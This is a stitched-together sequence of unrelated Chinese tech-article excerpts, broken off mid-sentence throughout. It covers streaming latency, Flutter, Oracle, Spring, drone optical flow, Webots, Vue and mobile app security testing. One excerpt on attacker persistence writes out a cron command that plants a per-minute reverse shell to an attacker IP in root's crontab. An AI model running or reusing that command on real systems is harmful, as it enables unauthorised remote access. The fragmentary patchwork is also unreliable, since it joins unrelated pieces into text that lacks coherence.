避免延迟，对于直播来说，一直是一块比较难啃的骨头，而这块“骨头”却为移动直播源码开发凿出了一个又一个的“坑”，根据实践总结下来的经验，移动平台上视频直播的坑主要有两个方面：设备差异，以及网络环境这些场景下带来的技术考验...然而，在 Android平台上，Android Framework SDK提供的MediaCodec编码器，在不同的芯片平台上，差异表现很大，不同的厂家使用不同的芯片，而不同的芯片平台上Android...因此，在 Android平台下，推荐是用软编，好处是画质可调控，兼容性也更好。...微信图片_20200107120025.png 二、在低端设备上进行高性能地采集和编码 例如Camera采集输出的可能是图片，一张图的体积并不会小，如果采集的频次很高，编码的帧率很高，每张图都经过编码器...在直播源码开发过程中做到以上这些，就能巧妙地避开移动直播场景中的延迟“坑”。
Flutter 是一个流行的开源工具包，它可用于构建跨平台的应用。在文章《用 Flutter 创建移动应用》中，我已经向大家展示了如何在 Linux 中安装 Flutter 并创建你的第一个应用。...这是移动应用的一种常见设计方法，你可能以前见过的，下面有一个截图，能帮助你对它有一个更直观的了解： Flutter 使用 Dart 语言。在下面的一些代码片段中，你会看到以斜杠开头的语句。...现在你需要在 lib 目录创建一个新的 .dart 文件，命名为 item_model。（注意，类命是大写驼峰命名，一般的文件名是下划线分割的命名。）...现在唯一缺少的是 ItemDetailsPage 类。在 lib 目录中我们创建一个新文件并命名为 item_details_page。...可以在安卓模拟器或物理设备上运行我们的应用来测试这个动画。当你打开或者关闭列表项的详情页时，你会看到一个漂亮的图标动画：
Q 题目如下所示： 在Oracle中，什么是延迟段创建（Deferred Segment Creation）？...A 答案如下所示： 在Oracle 11.2中，当创建一个空表或者空分区时，为了加快创建速度，Oracle并不会立即分配初始段和空间，实际的表段（Table Segement）被延迟到第一行数据插入时创建...延迟段创建特性通过DEFERRED_SEGMENT_CREATION参数控制，默认为TRUE，表示开启该功能。延迟段创建可以节省空间，加快初始化过程，是面向性能和资源的一个优化。...= 'NO'; 延迟段创建的限制条件有： ① 延迟段创建不支持的表类型包括：索引组织表（Index-Organized Tables）、簇表（Clustered Tables）、全局临时表（Global...CREATION为IMMEDIATE的情况下，Oracle为T_TEST_2建立了段，在SEGEMENT CREATION为DEFERRED的情况下，Oracle没有为表T_TEST_3建立段，当向没有分配段的空表中插入信息时
https://blog.csdn.net/sinat_35512245/article/details/52850068 一、在 Spring IOC 容器中 Bean 之间存在继承和依赖关系...需要注意的是，这个继承和依赖指的是 bean 的配置之间的关系，而不是指实际意义上类与类之间的继承与依赖，它们不是一个概念。 二、Bean 之间的继承关系。...com.linuxidc.spring.bean.Employee2" id="employee22" p:address="123mutouren" parent="employee"/> 三、Bean 之间的依赖关系...所谓的前置依赖是指：在 IOC 在初始化时刻，实例化配置文件中的 bean 时，前置依赖的 bean 要在该 bean 实例化之前实例化。...我是 First 结论：由上述可以看出，在不指定 depends-on 的前提下，IOC 容器默认实例化的顺序是按照 bean 在配置文件中的顺序来实例化的。
前两期我们讲到：光流模块的作用、飞控融合光流数据的方法，本期继续讲光流模块使用过程中需要注意的问题。...主要问题包括倾角补偿和光流数据的距离伸缩：倾角补偿主要是因为当无人机产生倾角时，光流模块也会检测到位移，这是我们不想要的，所以需要利用IMU测得的倾角将这个值给补偿掉，不然无人机会左右摇晃。...具体的倾角补偿思路如图3，无人机开始处于状态1，发生小的倾角后，处于状态2，而此时对于光流模块而言，相当于无人机平移到了状态3，所以会测得Δx位移，而此时IMU测到了倾角β，当倾角较小时，Δx=H*tan...光流数据的距离伸缩主要是因为大部分光流模块输出的数据是像素位移，需要乘以高度后才能真正的表征无人机在物理世界中的位移，而凌启科技公司开发的双目测距及光流一体模块输出的光流数据本身就是无人机在物理世界中的位移...，所以在使用该模块时，不用进行距离伸缩。
更改了 Webbot 和机器人控制器之间的管道，以允许在单独的 docker 容器中运行它们（#4344）。...为Mavic 2 Pro添加了一个 python 控制器，演示如何将无人机移动到特定的坐标和高度（#4293）。...修复了在 R2022a ( #4633 ) 之前使用 Webots 创建的一些崩溃加载和转换世界的问题。 固定动画时间不是从 0 秒开始（#4659）。 修复了扬声器的左右颠倒声音（#4847）。...通过按住 SHIFT 键（#5080 ）在 3D 场景中拖动实体对象时，修复了移动实体对象时不需要的位置跳跃。 修复了使用正交投影模式时的拖动事件 ( #5080 )。...WbPbrAppearance修复了在创建节点时也会触发的清理( #5139 )。 固定字段更改未在嵌套派生 PROTO 中传播（#5157）。
Cyberbotics Webots 开源 Webots的主要功能是机器人的建模、控制与仿真，用于开发、测试和验证机器人算法。其内核基于ODE引擎，动力学仿真效果较为真实。...Webots支持多种不同类型的机器人仿真，如工业机械臂，轮式机器人，足式机器人，履带式机器人，汽车，无人机，水下机器人，航天器等。...1 自带模型 方便自定义 机器人模型 vrml97语言 软件提供的模型 如果不想使用Webots中提供的现有机器人模型，而是想要创建自己的机器人模型，或在模拟环境中添加特殊对象，可以选择从3D建模软件导入它们...使用的方法是我们介绍过的VRML97描述语言。 2多种环境 物理引擎 自动驾驶还有个雪景 软件提供的环境 如果需要，Webots提供了一个可选的物理插件，可用于修改Webots的常规物理行为。...随便用哪个搜索引擎搜一下Webots就可以在第一条看到官网了，点击下载、双击安装，优质软件就是这么方便。
创建自己的Code Snippets在VSCode中 创建Vuejs文件模板代码片段 1. Go to Code → Preferences → User Snippets ?...3.VSCode会创建一个vue.json，开始自定义 * vue.json * { "New File": { "prefix": "template", "body...创建px2rem sass转换函数snippets 1. Go to Code → Preferences → User Snippets 2. 选择新建全局snippets file ? 3....在 中输入prm，就可以看到补全提示 prm->px2rem(参数值) 这里只是一个简单介绍，可以在平时工作中，去多多实践，减少一些无意义的体力活。
以往安全爱好者研究的往往是app的本地安全，比如远控、应用破解、信息窃取等等，大多人还没有关注到app服务端的安全问题，于是在这块的安全漏洞非常多。...移动app大多通过web api服务的方式跟服务端交互，这种模式把移动安全跟web安全绑在一起。...移动app以web服务的方式跟服务端交互，服务器端也是一个展示信息的网站，常见的web漏洞在这也存在,比如说SQL注入、文件上传、中间件/server漏洞等，但是由于部分app不是直接嵌入网页在app中...方法二、http[s]代理抓包 这个方法利用在移动设备上设置代理，通过人工操作使app与服务端交互， 步骤： a....在抓包机器上开启代理，测试可以用burp，需要自动化提交扫描任务可以自己写一个代理程序，移动设备设置代理服务器。 ? b. 在移动设备上操作app，代理端抓取如下。 ?
在我们的案例中，我们真正需要的是通过组件prop控制CSS animation/transition。 我们可以通过不在CSS中指定显式的CSS动画持续时间，而是将其作为样式来实现。...如果我们可以在相同的组件中这样做，并公开一个将切换到transition-group实现的group prop，那会怎么样呢?...我们也必须添加一个move-class并手动指定过渡持续时间，因为没有用于移动的 JS hook。我们将这些调整添加到我们的上一个示例中。...再做一些调整，通过在mixin中提取 JS 逻辑，我们可以将其应用于轻松创建新的transition组件，只需将其放入下一个项目中即可。...我认为它非常方便，可以轻松地在不同的项目中使用。你可以试一试:) 总结 我们从一个基本的过渡示例开始，并最终通过可调整的持续时间和transition-group支持来创建可重用的过渡组件。
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; //测试执行线程的类...IOException { System.out.println("come in post"); System.out.println("go out post"); } } web.xml中添加
移动应用程序现在已经非常普及，大多数的应用可以支持3种主流平台:iOS、Android和Windows phones。此外Firefox OS平台的市场占有率也在不断提升中。...应用程序的功能是与平台无关的。但是不同的平台还是会有差异，例如处理消息事件的方式等。测试移动应用程序，并保证它们能在所有的平台上正常工作，是一项很有挑战的工作。...平台级别的差异实际上和应用程序的功能是无关的，所以理想的中的测试用例应该纯粹使用业务语言进行描述。 行为驱动开发(BDD)风格的测试可以极大地改善这种情况。 为什么使用BDD?...针对移动应用程序，BDD可以在以下方面提供帮助： 1 对底层细节进行抽象并提供高层次的步骤(steps)： BDD对底层细节进行抽象，并提供高层次的测试用例步骤，这样就会与平台无关了。...在这个测试用例中，接收消息提示是一个业务上的术语，对它的实现将会针对平台而不同。 2 因此这种测试用例可以被不同平台和团队使用： 会有一个通用的接口来负责和不同的实现进行交互。
官方有Readme.md，为什么还需要出一篇blog专门介绍在云服务器上部署rocs_server。这是因为其依赖的webots主要是客户端的，PC适用的。如果希望在云服务器上跑，是比较麻烦的。...尽管其位置在机器人内部，但由于效率和安全性的考虑，Server API 不作为开源软件提供。Server API 基本上作为核心功能与外部世界之间的关键通道，确保高效和安全的数据交换。...它可以帮助用户创建具有物理特性的3D虚拟世界，并在其中添加简单的被动对象或主动对象，例如移动机器人。这些机器人可以具有不同的移动方案，如轮式、有腿或飞行机器人，并可以配备许多传感器和执行器设备。...用户可以对每个机器人进行单独编程，以表现出所需的行为。此外，Webots还包含大量机器人模型和控制器程序示例，并支持多种与真实移动机器人的接口。...总结本文的目标是在云服务器上搭建一个傅利叶机器人仿真环境。这个环境中，虽然没有可视化界面，但是是为一个纯云端的dev环境，便于测试控制系统。
Fast DDS提供了更低的延迟和更高的吞吐量，使得在复杂的机器人系统中实现实时的数据传输。 选定的组件：Vulcanexus包括一些选定的组件，以提供优化的机器人开发。...无人机：在无人机领域，Vulcanexus可以用于实现无人机控制器、传感器、GPS等之间的实时通信和数据共享。...例如，在无人机飞行控制中，Vulcanexus可以用于传输飞行控制指令、GPS位置数据、传感器数据等。...因此，在ROS 2环境中，只有用于修复错误的不修改API和ABI的补丁版本才被视为更新。...Webots：开源的三维移动机器人模拟器。 ----
介绍随着科技的发展和创新，无人机监控技术在农业监测中的应用正日益受到关注。传统的农业监测方式通常依赖于人工勘察或传统的航空摄影，但这些方法存在着成本高、效率低、覆盖范围有限等问题。...而无人机监控技术的出现，为农业监测带来了新的解决方案。本项目旨在探讨无人机监控技术在农业监测中的应用，重点关注其视觉导航技术的革新。...我们将介绍无人机视觉导航技术的原理、部署过程，并通过实例演示其在农业监测中的具体应用。II....视觉导航算法部署选择合适的视觉导航算法，如基于特征点的SLAM算法、视觉里程计（VO）算法等，并将其部署到无人机的飞控系统中。.../build.sh创建ROS工作空间并将ORB-SLAM2添加到工作空间中：# 创建ROS工作空间mkdir -p ~/catkin_ws/srccd ~/catkin_ws/srccatkin_init_workspace
Linux中的计划任务可以让系统周期性地运行所指定的程序或命令，攻击者可以利用这个特性让系统周期性运行恶意程序或者命令。计划任务具体使用方法参考前文，这里只讲述攻击者如何利用该技术进行权限维持。...首先，使用命令service cron status来检查系统中的计划任务服务是否正常运行，执行结果如图1-1所示，running则代表正在运行。...然后，使用命令crontab -l来查看当前用户在系统中创建的计划任务，执行结果如图1-2所示。...在Linux中“万物皆文件”，crontab -l命令实际上是调用“cat /var/spool/cron/crontabs/当前登录用户的用户名”。...那么攻击者可以执行命令echo "*/1 * * * * bash -i >& /dev/tcp/192.168.31.111/10029 0>&1" > /var/spool/cron/crontabs/root，在计划任务中写入一个每分钟建立回连会话的语句
在本教程中，我们将学习 defineAsyncComponent 的全部内容，并看一个例子，该例子将一个弹出窗口的加载推迟到我们的应用程序需要的时候。 好了，让我们开始吧。..., /* 显示是否有错误 */ delay: 1000, /* 在显示加载组件之前延迟毫秒 */ timeout: 3000 /* 这个毫秒之后的超时 */ }) 就我个人而言，我发现自己更经常使用第一种较短的语法...就这么简单，让我们进入我们的例子。 使用defineAsyncComponent延迟加载弹出组件 在本例中，我们将使用一个由单击按钮触发的登录弹出窗口。...简而言之，创建一个异步设置函数是我们的一个选择，可以让我们的组件在渲染前等待一些API调用或其他异步动作。 这是我们具有异步设置的组件。它使用 setTimeout() 模拟 API 调用。...最后的想法 defineAsyncComponent 在创建有几十个组件的大型项目时是有好处的。
在本教程中，我们将建立一个可缩放、可平移的图像视图来实现这一功能。 计划 他们说，一张图片胜过千言万语--但它不一定要花上一千行代码！对于我们的可缩放图像视图，我们要做的是让它成为一个可缩放的视图。...medium.com/media/afad3… 在commonInit()中，我们将图像视图居中，并设置它的高度和宽度，而不是把它固定在父视图上。这样一来，滚动视图就会从图像视图中获得其内容大小。...设置滚动视图 我们需要实际设置我们的滚动视图，使其可缩放和可平移。这包括设置最小和最大的缩放级别，以及指定用户放大时使用的UIView（在我们的例子中，它将是图像视图）。...我们将通过在我们的类中添加imageName字符串，并在字符串改变时更新UIImageView来实现。...让我们给我们的类添加另一个初始化器，这样我们就可以在代码中设置图像名称。 medium.com/media/074d4… 就这样了!现在我们可以像这样通过图片名称以编程方式初始化我们的视图了。
（在pc和ios中都能流畅地滚） 目前（2015年8月3日15:02:24）在大部分安卓手机都发现这个问题，触发bug的条件知道了，但是原因未知。...触发bug的条件是需要横向滚动的层不能位于纵向滚动不是body的层下面（后面有具体解释）。...，此时是正常的，安卓中ul能正常地左右滚动。...但是做web app，不能保证时时都能直接用body作为滚动层的，尤其是在弹窗中的时候，请问有更好，不使用js的解决方法吗？ div包着img时，div的高度希望自适应到与img一样？...（pc中不会，手机中会） 需要给input一个固定高度 li个li之间总是有空隙？
环境：vue.js+vant 问题：首页列表和分类页的列表用的同一个页面，页面区分用的是本地缓存，希望在分类页点击返回的时候，执行清除缓存，刷新页面 解决原理：利用history和浏览器刷新popstate...然后再回退的时候监听刷新，去做一些事情。
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